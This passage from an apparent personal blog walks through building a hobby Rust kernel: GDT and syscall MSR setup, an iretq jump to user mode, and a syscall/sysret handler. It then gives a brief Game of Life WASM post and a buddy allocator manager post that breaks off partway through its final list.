        let tss_sel = gdt.add_entry(Descriptor::tss_segment(&TSS)); // task state segment
        let user_data_sel = gdt.add_entry(Descriptor::user_data_segment()); // user data segment
        let user_code_sel = gdt.add_entry(Descriptor::user_code_segment()); // user code segment
        (gdt, [code_sel, data_sel, tss_sel, user_data_sel, user_code_sel])
    };
}

pub fn init_gdt() {
    GDT.0.load();
    let stack = unsafe { &STACK as *const _ };
    let user_stack = unsafe { &PRIV_TSS_STACK as *const _ };
    println!(
        " - Loaded GDT: {:p} TSS: {:p} Stack {:p} User stack: {:p} CS segment: {} TSS segment: {}",
        &GDT.0 as *const _, &*TSS as *const _, stack, user_stack, GDT.1[0].0, GDT.1[1].0
    );
    unsafe {
        set_cs(GDT.1[0]);
        load_ds(GDT.1[1]);
        load_tss(GDT.1[2]);
    }
}

We see that the kernel-mode segment registers are loaded upon initialization of the kernel! In a similar fashion, we will be setting the user-mode ones before jumping to user-mode for the first time to restrict the user program’s permissions. How do we restore the kernel-mode ones afterwards, though?

Setting the `IA32_STAR` model-specific register

Finally, the last piece of the puzzle: Once we are in user-mode and we want to make a syscall we need a way to restore our old segment registers so that we have full permissions again. Obviously this is not something the user program can do, and a special mechanism is once again needed. As I want to use the modern syscall / sysret instructions to interface with the kernel, there are some model-specific register (MSRs) that need to be defined. The first of these is called IA32_STAR and its purpose is exactly what we want: Upon a syscall, cs and ss are restored by using the value stored in that register. Specifically, the following happens upon executing the syscall instruction, among other things:

CS.Selector ← IA32_STAR[47:32] AND FFFCH (* Operating system provides CS; RPL forced to 0 *)
SS.Selector ← IA32_STAR[47:32] + 8;

Side note: Thanks to https://www.felixcloutier.com/x86/ for providing these invaluable details for each instruction!

In a similar manner, the following happens upon returning from a syscall, using the sysret instruction:

CS.Selector ← IA32_STAR[63:48]+16;
SS.Selector ← (IA32_STAR[63:48]+8) OR 3;

The spec of these two instructions therefore doesn’t give us too much wiggle room. We have to setup IA32_STAR so that bits 32:47 contain the index of the kernel-mode code segment entry in the GDT, and the user-mode stack segment entry (for which we’ll use the data entry, as it makes no difference) has to be right after that. Similarly bits 48:63 will contain the index of the user-mode code segment entry in the GDT, after which will be the index of the user-mode data segment entry. That’s a mouthful, so let’s get to it and forget about this part forever afterwards!

Each entry in the GDT is normally 8 bytes, however the TSS one is special and takes up two entries, being 16 bytes. Also the first entry has to be empty, so we don’t consider it. This is what our GDT looks like:

Offset	Entry	IA32_STAR bits
+0	Empty
+8	Kernel code	32:47
+16	Kernel data
+24	TSS pt1
+32	TSS pt2	48:63
+40	User data
+48	User code

This way, the upon syscall/sysret the segment registers will point to the entries we want! For syscall we want IA32_STAR[32:47] == 8 The sysret one in particular is rather confusing: Notice that it has nothing to do with the TSS register. What we want is for IA32_STAR[48:63] + 8 == user SS and IA32_STAR[48:63] + 16 == user CS which we get by putting the offset 32 (=0x20) in that position in the register. Notice that the last 2 bits of the segment selector however need to be 3 here to indicate that we are in ring 3, so we finally use the value 0x23 for that position in the register.

All in all, we want the register to have the value 0x23000800000000. We set that register with the instruction wrmsr (write model-specific register). The higher bits are set to the value of rdx and the lower (which should be zero) to the value of rax while rcx determines which MSR we write to (IA32_STAR is 0xC0000081). The following code does what we want:

// register for address of syscall handler
const MSR_STAR: usize = 0xC0000081;

pub unsafe fn init_syscalls() {
    // write segments to use on syscall/sysret to AMD'S MSR_STAR register
    asm!("\
    xor rax, rax
    mov rdx, 0x230008 // use seg selectors 8, 16 for syscall and 43, 51 for sysret
    wrmsr" :: "{rcx}"(MSR_STAR) : "rax", "rdx" : "intel", "volatile");
}

System Call Extensions

Finally we have to enable System Call Extensions (SCE) to be able to use the syscall/sysret opcodes by setting the last bit in the MSR IA32_EFER. The following code which I’ve put in the boot sequence does that:

mov ecx, 0xC0000080
rdmsr
or eax, 1
wrmsr

We’re finally done with the GDT part. Phew!

iretq’ing ourselves to usermode

We’re now pretty much ready to make our first jump to ~~lightspeed~~ usermode! All we need is to set a couple segment registers, a couple non-segment registers and off we go.

Setting the segment selectors

First, I’ve put this method in

#[inline(always)]
pub unsafe fn set_usermode_segs() -> (u16, u16) {
    // set ds and tss, return cs and ds
    let (mut cs, mut ds) = (GDT.1[4], GDT.1[3]);
    cs.0 |= PrivilegeLevel::Ring3 as u16;
    ds.0 |= PrivilegeLevel::Ring3 as u16;
    load_ds(ds);
    (cs.0, ds.0)
}

This sets the data segment to our previously defined user data segment selector, OR’d with 3 to indicate the RPL for this entry is usermode. Then we return the OR’d segment selector for the code and stack segments (which will be the same as the data segment). That’s because we can’t set them right now, otherwise we couldn’t execute the rest of this method as it’s located in kernel land. Instead, the fabled iretq instruction will set these segment selectors for us, along with several other things.

iretq specification

Here’s the spec for the iretq instruction: https://www.felixcloutier.com/x86/iret:iretd We care about the (huge, for a single instruction) operation. Let’s go through the path that we’re going to follow, a piece at a time.

IF PE = 0 # false, Physical Address Extension (64-bit mode) has been enabled early in the boot process  
ELSIF (IA32_EFER.LMA = 0) # false, we also activated Long Mode early  
ELSE GOTO IA-32e-MODE;
IA-32e-MODE:
IF NT = 1 # NT bit in FLAGS register is clear  
ELSE IF OperandSize = 32 # the q in iretq means our OperandSize = 64  
ELSE (* OperandSize = 64 *)  
    RIP ← Pop(); # so, we need to push the address to jump to (rip)  
    CS ← Pop(); #  and we need to push the next cs to use  
    tempRFLAGS ← Pop(); # and the next rflags  
FI;
IF CS.RPL > CPL # indeed, we go to a higher privilege level  
    THEN GOTO RETURN-TO-OUTER-PRIVILEGE-LEVEL;  
RETURN-TO-OUTER-PRIVILEGE-LEVEL:  
IF OperandSize = 32 # nope, it's 64  
ELSE IF OperandSize = 16 # nope  
ELSE (* OperandSize = 64 *) # that's the one  
    RSP ← Pop(); # and we need to push the next rsp  
    SS ← Pop(); # and the next ss
FI;

The rest of the operation is not that interesting, except for:

CPL ← CS(RPL); our new CPL is the RPL of our new cs! That means we are now in usermode.

Final code to return to usermode

Let’s set this all up, then. We need to push the required registers in the reverse order that they get popped.
This is the code that does all the things we just talked about:

pub unsafe fn jmp_to_usermode(code: mem::VirtAddr, stack_end: mem::VirtAddr) {
    let (cs_idx, ds_idx) = gdt::set_usermode_segs();
    x86_64::instructions::tlb::flush_all(); // flush the TLB after address-space switch
    asm!("\
    push rax   // stack segment
    push rsi   // rsp
    push 0x200 // rflags (only interrupt bit set)
    push rdx   // code segment
    push rdi   // ret to virtual addr
    iretq"
    :: "{rdi}"(code.addr()), "{rsi}"(stack_end.addr()), "{dx}"(cs_idx), "{ax}"(ds_idx) :: "intel", "volatile");
}

Finally we can call that function with the desired rip and rsp, which should be the virtual addresses that we set up before:

jmp_to_usermode(mem::VirtAddr::new(userspace_fn_virt), mem::VirtAddr::new(0x801000));

Seeing the return in GDB

Let’s see it happen in action! We can attach a debugger to our OS by running qemu with the -s -S options, which makes the processor start paused and opens a tcp server on port 1234. Another helpful one is -monitor stdio, which gives us a console that we can use to query the processor’s state (ie. registers, CPL). Let’s do that and attach gdb with:

>>> target remote localhost:1234

This is the screen that greets me:

I can now set a breakpoint on jmp_to_usermode so that I can see the processor switching to usermode:

>>> file /home/nikos/workspace/rust-os/target/kernel-x86_64.bin
Reading symbols from /home/nikos/workspace/rust-os/target/kernel-x86_64.bin...(no debugging symbols found)...done.
>>> b jmp_to_usermode 
Breakpoint 1 at 0xc0181cd0
>>> c

We step a bit further, until the iretq instruction:

One more step, and…

Seems to have worked! You can see the registers and segment selectors are what we expect. One more step confirms that we can actually execute instructions while in usermode and that we don’t get a GPF.

The qemu console also confirms that we’re now in CPL 3:

All that remains now is to go back to the kernel.

syscall and sysret

There are several ways for the kernel to take control once a user program is running in x86. The one that was initially used in Unix-like kernels was to trigger a trap: essentially, to make the program raise an exception which the kernel has to handle. For example, a kernel could similarly use a divison by zero to call the kernel (though that’s a bad idea).

Typically a trap was triggered with an int 80h instruction. The kernel would then be summoned, and the entry defined at index 80h in the Interrupt Descriptor Table would be used to handle the exception. That would typically be the system call handler which would then use the registers passed to determine which syscall is requested.

The issue with this is that, well, exceptions are slow. They have unnecessary overhead. The processor must read the IDT, make access control checks etc. everytime that we do this. To avoid this, Intel developed the sysenter/sysexit pair of instructions. At the same time AMD developed syscall/sysret. In 32-bit kernels sysenter/sysexit is compatible with both Intel and AMD processors. In 64-bits however, it’s syscall/sysret that is compatible.

syscall/sysret simplify the system call procedure. These instructions can take fewer than 1/4th of clock cycles of a regular call/ret. Part of the reason is that the processor has dedicated registers for which address to jump to and what to set the important segment registers to. The latter we’ve already defined: It’s the IA32_STAR MSR that we set a while ago! We still need to define two more similar MSRs and then we’re ready to go.

`IA32_LSTAR` and `IA32_FMASK`

These are the two additional registers we need to set. Thankfully they’re pretty straightforward: IA32_LSTAR is the most important one, the address of our syscall handler that will be called on every syscall instruction. IA32_FMASK gives us a way to mask out some bits from the RFLAGS register when a syscall occurs.

For the latter, we want to only clear the interrupt flag in RFLAGS. This way, once a syscall is triggered, we ignore any other interrupts: timer, keyboard etc. at least until we can set up a stack for the syscall. Notice that the start of a syscall is a bit confusing: We are still using the user program’s stack until we can set up a kernel-side one, but we’re running in kernel mode. That’s why a hardware exception occuring right there would possibly result in weird situations.

Therefore, we want to clear bit 9 (Interrupt Flag). The value for IA32_FMASK will be 1 << 9 = 0x200.
The former is straightforward enough: we have to create the syscall handler and write the address to it. Let’s just make it an empty method for now. All in all, this is our updated init_syscalls method:

// register for address of syscall handler
const MSR_STAR: usize = 0xc0000081;
const MSR_LSTAR: usize = 0xc0000082;
const MSR_FMASK: usize = 0xc0000084;

pub unsafe fn init_syscalls() {
    let handler_addr = handle_syscall as *const () as u64;
    // clear Interrupt flag on syscall with AMD's MSR_FSTAR register
    asm!("\
    xor rdx, rdx
    mov rax, 0x200
    wrmsr" :: "{rcx}"(MSR_FMASK) : "rdx" : "intel", "volatile");
    // write handler address to AMD's MSR_LSTAR register
    asm!("\
    mov rdx, rax
    shr rdx, 32
    wrmsr" :: "{rax}"(handler_addr), "{rcx}"(MSR_LSTAR) : "rdx" : "intel", "volatile");
    // write segments to use on syscall/sysret to AMD'S MSR_STAR register
    asm!("\
    xor rax, rax
    mov rdx, 0x230008 // use seg selectors 8, 16 for syscall and 43, 51 for sysret
    wrmsr" :: "{rcx}"(MSR_STAR) : "rax", "rdx" : "intel", "volatile");
}

#[naked]
fn handle_syscall() {
    unsafe {
        asm!("\
        nop
        nop
        nop
        sysretq
        ":::: "intel");
    }
}

This should now work! Let’s test it. I change my user process to perform a syscall, and track it in gdb.

Before the syscall:

Inside the syscall:

After sysret:

Perfect! You can see we go to kernel mode (cs=8) again, and then back (cs=0x33)! Everything works as we want it, finally.

This syscall was not particularly useful. We can’t do all the useful things we have in mind directly, however! That’s because the code that Rust will emit will probably overwrite the usermode program’s registers, but we have to maintain the ones that the program doesn’t expect to change. Also, while we could use the program’s stack, that means that the program will then be able to see data that our kernel created in its stack. Exposing the internals of our kernel to a user program is a bad idea! Let’s see what we can do about this.

Saving the registers & stack

I won’t get into calling conventions too much, but the idea is this: When a call is performed, the caller function expects some specific registers to be the same when the called function returns. For the rest of them, the caller function expects they will be erased and needs to save them somewhere is it wants to keep them. These registers are called callee-saved and caller-saved respectively. You can read about the calling convention used in Unix-like kernels (and the one we will use) at https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI. Syscalls work the same as that: Only rbp, rbx and r12-15 are callee-saved so we only need to save these and we can use the rest as we want. The following file in the Linux kernel also gives a nice overview: https://github.com/torvalds/linux/blob/v3.13/arch/x86/kernel/entry_64.S#L569-L591

There is however a slight catch: The syscall instruction also saves the caller’s rip into rcx and rflags into r11. For the sysret instruction to work properly we need these to be unaltered from the start of our syscall handler. Therefore we’ll also save these in the stack.

Let’s add these things to our syscall handler. Essentially, we’re doing the compiler’s job and adding the function prologue and epilogue by hand, after telling the compiler to skip the standard ones with the #[naked] attribute.

#[naked]
fn handle_syscall() {
    unsafe { asm!("\
        push rcx // backup registers for sysretq
        push r11
        push rbp
        push rbx // save callee-saved registers
        push r12
        push r13
        push r14
        push r15"
        :::: "intel", "volatile"); }
    unsafe { asm!("\
        pop r15 // restore callee-saved registers
        pop r14
        pop r13
        pop r12
        pop rbx
        pop rbp // restore stack and registers for sysretq
        pop r11
        pop rcx
        sysretq // back to userland"
        :::: "intel", "volatile"); }
}

Afterwards, as we said, we want to move out of the user program’s stack into a new, disposable one so that we don’t leak kernel information into that stack. Where will we find the disposable one? We can just allocate some space! Then we’ll move the pointer to that space into rsp, after which we can actually do some useful work in the syscall.

Another small catch here: We want to maintain the parameters that the user program called the syscall with before calling the allocator. They are still in the registers that were passed to us: rdi, rsi, rdx and r10 (other kernels might use additional, but 4 params are enough for mine). Also importantly rax stores the syscall number to be called and will be used to differentiate between the different syscalls in the future. The compiler doesn’t know about this, so we have to do it ourselves. This is the “caller-saved” part we talked about before: We save our registers because the called function might erase them. The code will be similar to the previous piece of code.

unsafe { asm!("\
    mov rbp, rsp // save rsp
    sub rsp, 0x400 // make some room in the stack
    push rax // backup syscall params while we get some stack space
    push rdi
    push rsi
    push rdx
    push r10"
    :::: "intel", "volatile"); }
let syscall_stack: Vec<u8> = Vec::with_capacity(0x1000);
let stack_ptr = syscall_stack.as_ptr();
unsafe { asm!("\
    pop r10 // restore syscall params to their registers
    pop rdx
    pop rsi
    pop rdi
    pop rax
    mov rsp, rbx // move our stack to the newly allocated one
    sti // enable interrupts"
    :: "{rbx}"(stack_ptr) : "rbx" : "intel", "volatile"); }

Our new stack is finally ready! We can now move out the parameters into variables in Rust so that we can do some useful work (which for now will just be printing our params). When we don’t need the stack anymore, we can drop the vector. This way Rust will know when it can drop it - otherwise it might consider it useless and drop it early, or try to drop it late after we’ve moved rsp back to its original position. Both would probably cause us to crash.

Here’s the final code of the syscall handler, where we finally get back to kernel mode and then back again!

#[naked]
fn handle_syscall() {
    unsafe { asm!("\
        push rcx // backup registers for sysretq
        push r11
        push rbp // save callee-saved registers
        push rbx
        push r12
        push r13
        push r14
        push r15
        mov rbp, rsp // save rsp
        sub rsp, 0x400 // make some room in the stack
        push rax // backup syscall params while we get some stack space
        push rdi
        push rsi
        push rdx
        push r10"
        :::: "intel", "volatile"); }
    let syscall_stack: Vec<u8> = Vec::with_capacity(0x1000);
    let stack_ptr = syscall_stack.as_ptr();
    unsafe { asm!("\
        pop r10 // restore syscall params to their registers
        pop rdx
        pop rsi
        pop rdi
        pop rax
        mov rsp, rbx // move our stack to the newly allocated one
        sti // enable interrupts"
        :: "{rbx}"(stack_ptr) : "rbx" : "intel", "volatile"); }
    let syscall: u64;
    let arg0: u64;
    let arg1: u64;
    let arg2: u64;
    let arg3: u64;
    unsafe {
        // move the syscall arguments from registers to variables
        asm!("nop"
        :"={rax}"(syscall), "={rdi}"(arg0), "={rsi}"(arg1), "={rdx}"(arg2), "={r10}"(arg3) ::: "intel", "volatile");
    }
    println!("syscall {:x} {} {} {} {}", syscall, arg0, arg1, arg2, arg3);
    let retval: i64 = 0; // placeholder for the syscall's return value which we need to save and then return in rax
    unsafe { asm!("\
        mov rbx, $0 // save return value into rbx so that it's maintained through free
        cli" // disable interrupts while restoring the stack
        :: "r"(retval) :: "intel", "volatile");
    }
    drop(syscall_stack); // we can now drop the syscall temp stack
    unsafe { asm!("\
        mov rax, rbx // restore syscall return value from rbx to rax
        mov rsp, rbp // restore rsp from rbp
        pop r15 // restore callee-saved registers
        pop r14
        pop r13
        pop r12
        pop rbx
        pop rbp // restore stack and registers for sysretq
        pop r11
        pop rcx
        sysretq // back to userland"
        :::: "intel", "volatile"); }
}

Calling our syscall

We can test our syscall with a simple user program that calls it repeatedly:

pub unsafe fn userspace_prog_1() {
    asm!("\
        start:
        mov rax, 0xCA11
        mov rdi, 10
        mov rsi, 20
        mov rdx, 30
        mov r10, 40
        syscall
        jmp start
    ":::: "volatile", "intel");
}

And this is the result that we get:

Finally, everything works as it should! Our syscall works and we can add additional functionalities, depending on the syscall number, such as writing a string to the screen or opening a file. That’s something to do in the future, though. For now we accomplished what we set out to do.

In the next part, we’re going to do scheduling, so that we can run multiple processes at once.

WASM Game of Life

2020-01-05T00:00:00+00:00

This is an implementation of Game Of Life in Rust compiled to WASM based on the Rust and WASM book. This means it’s Rust, running on the browser, faster than JS could ever hope to be! (if I didn’t mess it up)
You can use the controls on the bottom to start / stop / reset the state and control the speed. You can also click on boxes to toggle them, or drag over them to change a bunch at a time.
Code is hosted on Github.

Speed

FPS:

Rust-OS Kernel buddy allocator - Part 3: Allocator manager

2019-12-04T00:00:00+00:00

Previous post: Part 2: Buddy allocator

Source code: https://github.com/nikofil/rust-os

We can use a single buddy allocator, given a continuous block of memory with the size of a power of 2. It’s very probably however that this would waste a lot of memory, as our entire memory won’t be a single block that is a power of 2. So what can we do?

Another issue that I ran into was the following: a buddy allocator contains vectors. A vector is a dynamic structure, which means some times it needs to resize when we push things to it, which means it might need to call the allocator itself. We’ve been to get around this issue with our frame allocator (since we only needed to allocate when de-allocating a block to the free list, and not while allocating). However in this case we have an allocation-in-allocation. Due to the allocator being behind a RwLock so that we can make sure no two threads / processes / whatever we decide to call them can mess up its state at the same time, if we need to allocate more space for a vec during our allocation, we end up in the unfavorable position of having to lock this lock while already holding it. This could be done through some horrible hack, or we could solve both things at once:

We could have many buddy allocators!

Buddy allocator manager

That’s my unimaginative name for the struct that holds all the buddy allocators. When we construct this struct we’ll still be using the previous (frame) allocator, so on every memory allocation we get exactly 4096 bytes no matter how many we ask for. So let’s try not to waste them.

The manager can hold many allocators, each of which will manage some amount of memory. Then, the manager can handle memory requests by looping through all its allocators and finding one that can handle the request. Simple! So what’s the challenge?

Honestly, it’s all about handling the memory. We need to split up the memory in chunks that can be used by a buddy allocator to not waste too much memory. For example, let’s say we have a system with 7GiB. The best way to split that would be to have 3 allocators: 4, 2 and 1 GiB.

I opted for something a little less optimal. I made a function fn get_mem_area_with_size(frame_alloc: &mut dyn FrameSingleAllocator, mem_size: u64) which takes a frame allocator and a requested size. It pulls pages from the allocator until it has enough for the requested size (so mem_size / FRAME_SIZE). Of course it’s possible that we don’t have enough memory to fill that request, or that the next frame the frame allocator gives us is not located after the previous one so we can’t use them together. In that case the function returns one or two memory areas that are smaller than the one requested. Then we create buddy allocators that handle these memory areas so that we don’t waste them. For example, if we ask for 512 MiB but we only have 500 continuous MiB this function will return two memory areas of 256 and 128 MiB. The rest are lost but I don’t care that much about it as it should be rare.

enum MemAreaRequest {
    Success((PhysAddr, PhysAddr)),
    SmallerThanReq((PhysAddr, PhysAddr), Option<(PhysAddr, PhysAddr)>),
    Fail,
}

impl BuddyAllocatorManager {
    fn get_mem_area_with_size(
        frame_alloc: &mut dyn FrameSingleAllocator,
        mem_size: u64,
    ) -> MemAreaRequest {
        // This function tries to find a continuous memory area as big as the one requested by
        // pulling pages from the frame allocator. If it doesn't find an area big enough immediately,
        // it might return one or two smaller ones (so that we don't leave memory unused for no reason
        // if it doesn't fit our purposes).
        if let Some(first_page) = unsafe { frame_alloc.allocate() } {
            let first_addr = first_page.addr();
            let mut last_addr = first_addr + FRAME_SIZE;
            // Keep pulling pages from the frame allocator until we hit the required memory size
            // or until we run out of memory or we get a block that is not after the previous block received.
            while let Some(next_page) = unsafe { frame_alloc.allocate() } {
                if next_page.addr() == last_addr {
                    last_addr += FRAME_SIZE;
                } else {
                    break;
                }
                if last_addr - first_addr == mem_size {
                    break;
                }
            }
            // If we found a memory area big enough, great! Return it.
            if last_addr - first_addr == mem_size {
                MemAreaRequest::Success((PhysAddr::new(first_addr), PhysAddr::new(last_addr)))
            } else {
                // If we found a smaller memory block, get the largest piece that is a power of 2
                // and also greater than a page size. We can use that to make a smaller buddy allocator.
                if let Some(first_memarea) = Self::get_largest_page_multiple(first_addr, last_addr) {
                    // Try to form a second such block with the left-over memory to not waste it.
                    let second_memarea = Self::get_largest_page_multiple(first_memarea.1.addr(), last_addr);
                    MemAreaRequest::SmallerThanReq(first_memarea, second_memarea)
                } else {
                    // This should never happen but let's be safe
                    MemAreaRequest::Fail
                }
            }
        } else {
            // Couldn't even pull a single page from the frame allocator :(
            MemAreaRequest::Fail
        }
    }

    fn get_largest_page_multiple(start: u64, end: u64) -> Option<(PhysAddr, PhysAddr)> {
        // Given a start and end address, try to find the largest memory size that can fit into that
        // area that is also a left shift of a FRAME_SIZE (ie. 4096, 8192, 16384 etc.)
        // We need this because our buddy allocator needs a memory area whose size is a power of 2
        // in order to be able to split it cleanly and efficiently.
        // Also, the smallest size of that memory area will be the FRAME_SIZE.
        let mem_len = end - start;
        if mem_len == 0 {
            None
        } else {
            // double page_mult while it still fits in this mem area
            let mut page_mult = FRAME_SIZE;
            while page_mult <= mem_len {
                page_mult <<= 1;
            }
            // we went over the limit so divide by two
            page_mult >>= 1;
            let start_addr = PhysAddr::new(start);
            Some((start_addr, start_addr.offset(page_mult)))
        }
    }
}

With these two helpers we can create the buddy allocator manager! It’s pretty straightforward now. It simply needs to hold a list of buddy allocators. Then we will ask it to add a buddy allocator that handles a requested size of memory. It will do its best to find a memory chunk big enough for the request. Any smaller chunks it finds on the way, it simply adds them as smaller buddy allocators and keeps looking. If no more pages can be allocated from the frame allocator we stop.

Also of course it needs to support alloc and dealloc. In the case of alloc we loop through our allocators and try to lock each one and allocate with it. If that fails, we try the next one until we get an allocation (or until we run out of allocators!). This subtly solves our problem of double locking the lock that protects each allocator: When an allocator tries to allocate some memory for its internal vectors, we won’t be able to lock it a second time so instead we’ll use another allocator in the list to fulfill that request!

For dealloc we go through the list again and ask each allocator if it owns that piece of memory. If so we give it back to it and it does its buddy magic from the previous post. If we can’t find which allocator it belongs to (for example in the case some memory that was allocated with the old frame allocator) it’s simply wasted forever and can’t be reclaimed. Sucks!

So here’s the code dump:

pub struct BuddyAllocatorManager {
    buddy_allocators: RwLock<Vec<Mutex<BuddyAllocator>>>,
}

impl BuddyAllocatorManager {
    pub fn new() -> BuddyAllocatorManager {
        // Create an empty buddy allocator list. At this point we're still using the dumb page allocator.
        let buddy_allocators = RwLock::new(Vec::with_capacity(32));
        BuddyAllocatorManager { buddy_allocators }
    }

    pub fn add_memory_area(&self, start_addr: PhysAddr, end_addr: PhysAddr, block_size: u16) {
        // Add a new buddy allocator to the list with these specs.
        // As each one has some dynamic internal structures, we try to make it so that none of these
        // has to use itself when allocating these.
        let new_buddy_alloc = Mutex::new(BuddyAllocator::new(start_addr, end_addr, block_size));
        // On creation the buddy allocator constructor might lock the list of buddy allocators
        // due to the fact that it allocates memory for its internal structures (except for the very
        // first buddy allocator which still uses the previous, dumb allocator).
        // Therefore we first create it and then we lock the list in order to push the new
        // buddy allocator to the list.
        self.buddy_allocators.write().push(new_buddy_alloc);
    }

    pub fn add_mem_area_with_size(
        &self,
        frame_alloc: &mut dyn FrameSingleAllocator,
        mem_size: u64,
        block_size: u16,
    ) -> bool {
        // Find and create a buddy allocator with the memory area requested.
        // We use get_mem_area_with_size first to find the memory area.
        // That function might instead find one (or two) smaller memory areas if the current
        // memory block that we're pulling memory from isn't big enough.
        // In that case add these smaller ones but keep looping until we get a memory block
        // as big as the one requested.
        // If we run out of memory, we simply return false.
        loop {
            match Self::get_mem_area_with_size(frame_alloc, mem_size) {
                // Success! Found a memory area big enough for our purposes.
                MemAreaRequest::Success((mem_start, mem_end)) => {
                    serial_println!(
                        "* Adding requested mem area to BuddyAlloc: {} to {} ({})",
                        mem_start,
                        mem_end,
                        mem_end.addr() - mem_start.addr()
                    );
                    self.add_memory_area(mem_start, mem_end, block_size);
                    return true;
                }
                // Found one or two smaller memory areas instead, insert them and keep looking.
                MemAreaRequest::SmallerThanReq((mem_start, mem_end), second_area) => {
                    self.add_memory_area(mem_start, mem_end, block_size);
                    serial_println!(
                        "* Adding smaller mem area to BuddyAlloc: {} to {} ({})",
                        mem_start,
                        mem_end,
                        mem_end.addr() - mem_start.addr()
                    );
                    if let Some((mem_start, mem_end)) = second_area {
                        self.add_memory_area(mem_start, mem_end, block_size);
                        serial_println!(
                            "* Adding smaller mem area to BuddyAlloc: {} to {} ({})",
                            mem_start,
                            mem_end,
                            mem_end.addr() - mem_start.addr()
                        );
                    }
                }
                // Ran out of memory! Return false.
                MemAreaRequest::Fail => {
                    serial_println!(
                        "! Failed to find mem area big enough for BuddyAlloc: {}",
                        mem_size
                    );
                    return false;
                }
            }
        }
    }
}

unsafe impl GlobalAlloc for BuddyAllocatorManager {
    unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
        // Loop through the list of buddy allocators until we can find one that can give us
        // the requested memory.
        let allocation =
            self.buddy_allocators
                .read()
                .iter()
                .enumerate()
                .find_map(|(i, allocator)| {
                    // for each allocator
                    allocator.try_lock().and_then(|mut allocator| {
                        allocator
                            .alloc(layout.size(), layout.align())
                            .map(|allocation| {
                                // try allocating until one succeeds and return this allocation
                                serial_println!(
                                    " - BuddyAllocator #{} allocated {} bytes",
                                    i,
                                    layout.size()
                                );
                                serial_println!("{}", *allocator);
                                allocation
                            })
                    })
                });
        // Convert physical address to virtual if we got an allocation, otherwise return null.
        allocation
            .and_then(|phys| phys.to_virt())
            .map(|virt| virt.addr() as *mut u8)
            .unwrap_or(null_mut())
    }

    unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) {
        let virt_addr = VirtAddr::new(ptr as u64);
        if let Some((phys_addr, _)) = virt_addr.to_phys() {
            for (i, allocator_mtx) in self.buddy_allocators.read().iter().enumerate() {
                // for each allocator
                if let Some(mut allocator) = allocator_mtx.try_lock() {
                    // find the one whose memory range contains this address
                    if allocator.contains(phys_addr) {
                        // deallocate using this allocator!
                        allocator.dealloc(phys_addr, layout.size(), layout.align());
                        serial_println!(
                            " - BuddyAllocator #{} de-allocated {} bytes",
                            i,
                            layout.size()
                        );
                        serial_println!("{}", *allocator);
                        return;
                    }
                }
            }
        }
        serial_println!(
            "! Could not de-allocate virtual address: {} / Memory lost",
            virt_addr
        );
    }
}

Constructing buddy allocators in a sort of sane manner

We’re almost there! We still need to construct the manager with the tools that are given to us (which is essentially only the frame allocator) and to let Rust know how to use it.

In order to be able to use it, I altered slightly the AllocatorInfo struct from part 1 to add a strategy field, so called because it’s supposed to be an implementation of the “strategy pattern”. However the result is rather restrictive for now as it only allows the buddy allocator implementation. This could be fixed if I wanted to support different allocation strategies in the future, but I really don’t.

struct AllocatorInfo {
    strategy: RwLock<Option<BuddyAllocatorManager>>,
    frame_allocator: Mutex<Option<&'static mut dyn FrameSingleAllocator>>,
    free_frames: Mutex<Option<Vec<PhysAddr>>>,
}

To begin with the strategy field is None so the default (frame) allocator is used. Once we put something in strategy that’s used instead by the allocator:

unsafe impl GlobalAlloc for Allocator {
    unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
        if_chain! {
            if let Some(ref strategy) = *ALLOCATOR_INFO.strategy.read();
            then {
                return strategy.alloc(layout);
            }
        }
        // else use the frame allocator...
    }
    // same for dealloc
}

Finally, we need to construct a BuddyAllocatorManager and put it in strategy. This is however a bit tricky: In order to work, the manager will have to have at least one BuddyAllocator in it. That’s because once we enable the manager as our allocation strategy, if we try to create a new BuddyAllocator at that point, the manager won’t be able to support the memory allocations that the BuddyAllocator needs for its internal structures and the creation will fail. Therefore we need to create first a single BuddyAllocator inside the manager! That first one will be used to support the memory allocations in the second one that will be created. Then when we create the third one it can use any of the previous two, etc.

In order to do this, we fetch a single page from the frame allocator and create a BuddyAllocator that handles that page in the manager. Then, once we switch our strategy to point to BuddyAllocatorManager we can build up its list of allocators (as the more memory an allocator handles, the bigger its internal structures). Eventually, we have enough of them for most of the memory!

This is what becomes of our old init_global_alloc method (which was used in part 1 to initialize the ALLOCATOR_INFO struct):

pub fn init_global_alloc(frame_alloc: &'static mut dyn FrameSingleAllocator) {
    let first_page = unsafe { frame_alloc.allocate().unwrap() };
    init_allocator_info(frame_alloc);
    // create our buddy allocator manager (holds a list of buddy allocators for memory regions)
    let manager = BuddyAllocatorManager::new();
    // Create a buddy allocator over a single page which will be provided by our old allocator.
    // This helps us have a single valid page from which our buddy allocator
    // will be able to give blocks away, as otherwise on its first allocation, the buddy allocator
    // would have to call itself in order to create its own internal structures
    // (ie. the free list for each level and the array that holds whether each block is split or not).
    // This way we have one buddy allocator with a single page, which will be used by the second
    // one which will be larger, which will then be used by a larger one until we can map most
    // of the memory. None of these allocators should therefore need to use itself in order to
    // allocate its internal structures which saves us some headaches.
    manager.add_memory_area(first_page, first_page.offset(FRAME_SIZE), 16);
    // Moment of truth! Start using our list of buddy allocators.
    ALLOCATOR_INFO.strategy.write().replace(manager);
    // Create a second, larger buddy allocator in our list which is supported by the first one,
    // as described above.
    let frame_alloc = ALLOCATOR_INFO.frame_allocator.lock().take().unwrap();
    // Get our current buddy allocator
    ALLOCATOR_INFO
        .strategy
        .read()
        .as_ref()
        .map(|buddy_manager| {
            // Allocate increasingly large memory areas.
            // The previously created buddy allocator (which uses a single page) will be used to back
            // the first of these areas' internal structures to avoid the area having to use itself.
            // Then the first two areas will be used to support the third, etc.
            // Until we can support 1GiB buddy allocators (the final type) which need a big
            // amount of continuous backing memory (some MiB for the is_split bitmap plus
            // several Vecs for the free lists).
            buddy_manager.add_mem_area_with_size(frame_alloc, FRAME_SIZE * 8, 16);
            buddy_manager.add_mem_area_with_size(frame_alloc, FRAME_SIZE * 64, 16);
            buddy_manager.add_mem_area_with_size(frame_alloc, 1 << 24, 16);
            while buddy_manager.add_mem_area_with_size(frame_alloc, 1 << 30, 16) {}
        });
}

All the magic is in place now, and it works! Every time Rust needs to put something in the heap now, this happens:

The alloc method of the registered #[global_allocator] is called (Allocator struct)
That method locks and reads the strategy field of the static ALLOCATOR_INFO struct
As strategy points to the BuddyAllocatorManager, we pass the memory request over to it
The manager loops through its list of BuddyAllocators and asks the first to allocate some memory
